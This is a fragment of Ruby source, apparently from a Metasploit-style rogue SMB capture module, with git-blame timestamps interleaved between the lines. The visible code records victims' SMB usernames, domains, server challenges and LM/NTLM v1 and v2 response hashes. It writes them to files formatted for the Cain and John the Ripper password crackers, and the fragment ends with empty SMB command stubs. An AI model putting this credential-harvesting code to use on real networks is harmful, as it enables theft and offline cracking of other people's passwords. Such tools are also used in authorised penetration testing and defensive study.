:host = > smb [ :ip ] ,
:type = > " smb_peer_os " ,
:data = > smb [ :peer_os ]
) if ( smb [ :peer_os ] and smb [ :peer_os ] . strip . length > 0 )
report_note (
:host = > smb [ :ip ] ,
:type = > " smb_peer_lm " ,
:data = > smb [ :peer_lm ]
) if ( smb [ :peer_lm ] and smb [ :peer_lm ] . strip . length > 0 )
report_note (
:host = > smb [ :ip ] ,
:type = > " smb_domain " ,
:data = > smb [ :domain ]
) if ( smb [ :domain ] and smb [ :domain ] . strip . length > 0 )
if ( datastore [ 'LOGFILE' ] )
File . open ( datastore [ 'LOGFILE' ] , " ab " ) { | fd | fd . puts ( capturelogmessage + " \n " ) }
end
if ( datastore [ 'CAINPWFILE' ] and smb [ :username ] )
2011-03-07 19:57:53 +00:00
if ntlm_ver == NTLM_CONST :: NTLM_V1_RESPONSE then
2011-01-30 19:26:35 +00:00
fd = File . open ( datastore [ 'CAINPWFILE' ] , " ab " )
fd . puts (
[
smb [ :username ] ,
smb [ :domain ] ? smb [ :domain ] : " NULL " ,
@challenge . unpack ( " H* " ) [ 0 ] ,
lm_hash ? lm_hash : " 0 " * 48 ,
nt_hash ? nt_hash : " 0 " * 48
] . join ( " : " ) . gsub ( / \ n / , " \\ n " )
)
2011-02-22 20:49:44 +00:00
fd . close
2011-01-30 19:26:35 +00:00
end
end
if ( datastore [ 'JOHNPWFILE' ] and smb [ :username ] )
case ntlm_ver
2011-03-07 19:57:53 +00:00
when NTLM_CONST :: NTLM_V1_RESPONSE
2011-01-30 19:26:35 +00:00
fd = File . open ( datastore [ 'JOHNPWFILE' ] + '_lmv1_ntlmv1' , " ab " )
fd . puts (
[
smb [ :username ] , " " ,
smb [ :domain ] ? smb [ :domain ] : " NULL " ,
lm_hash ? lm_hash : " 0 " * 48 ,
nt_hash ? nt_hash : " 0 " * 48 ,
@challenge . unpack ( " H* " ) [ 0 ]
] . join ( " : " ) . gsub ( / \ n / , " \\ n " )
)
fd . close
2011-03-07 19:57:53 +00:00
when NTLM_CONST :: NTLM_V2_RESPONSE
2011-01-30 19:26:35 +00:00
#lmv2
fd = File . open ( datastore [ 'JOHNPWFILE' ] + '_lmv2' , " ab " )
fd . puts (
[
smb [ :username ] , " " ,
smb [ :domain ] ? smb [ :domain ] : " NULL " ,
@challenge . unpack ( " H* " ) [ 0 ] ,
lm_hash ? lm_hash : " 0 " * 32 ,
lm_cli_challenge ? lm_cli_challenge : " 0 " * 16
] . join ( " : " ) . gsub ( / \ n / , " \\ n " )
)
fd . close
#ntlmv2
fd = File . open ( datastore [ 'JOHNPWFILE' ] + '_ntlmv2' , " ab " )
fd . puts (
[
smb [ :username ] , " " ,
smb [ :domain ] ? smb [ :domain ] : " NULL " ,
@challenge . unpack ( " H* " ) [ 0 ] ,
nt_hash ? nt_hash : " 0 " * 32 ,
nt_cli_challenge ? nt_cli_challenge : " 0 " * 160
] . join ( " : " ) . gsub ( / \ n / , " \\ n " )
)
2011-02-22 20:49:44 +00:00
fd . close
2011-01-30 19:26:35 +00:00
end
end
2008-11-19 20:42:17 +00:00
end
2007-07-03 04:33:54 +00:00
end
2010-03-27 22:13:50 +00:00
2007-07-03 04:33:54 +00:00
def smb_cmd_close ( c , buff )
end
def smb_cmd_create ( c , buff )
end
def smb_cmd_delete ( c , buff )
end
def smb_cmd_nttrans ( c , buff )
end
def smb_cmd_open ( c , buff )
end
def smb_cmd_read ( c , buff )
end
def smb_cmd_trans ( c , buff )
end
def smb_cmd_tree_connect ( c , buff )
end
def smb_cmd_tree_disconnect ( c , buff )
end
def smb_cmd_write ( c , buff )
end
2011-02-22 20:49:44 +00:00
2008-10-26 21:53:36 +00:00
end
2010-03-27 22:13:50 +00:00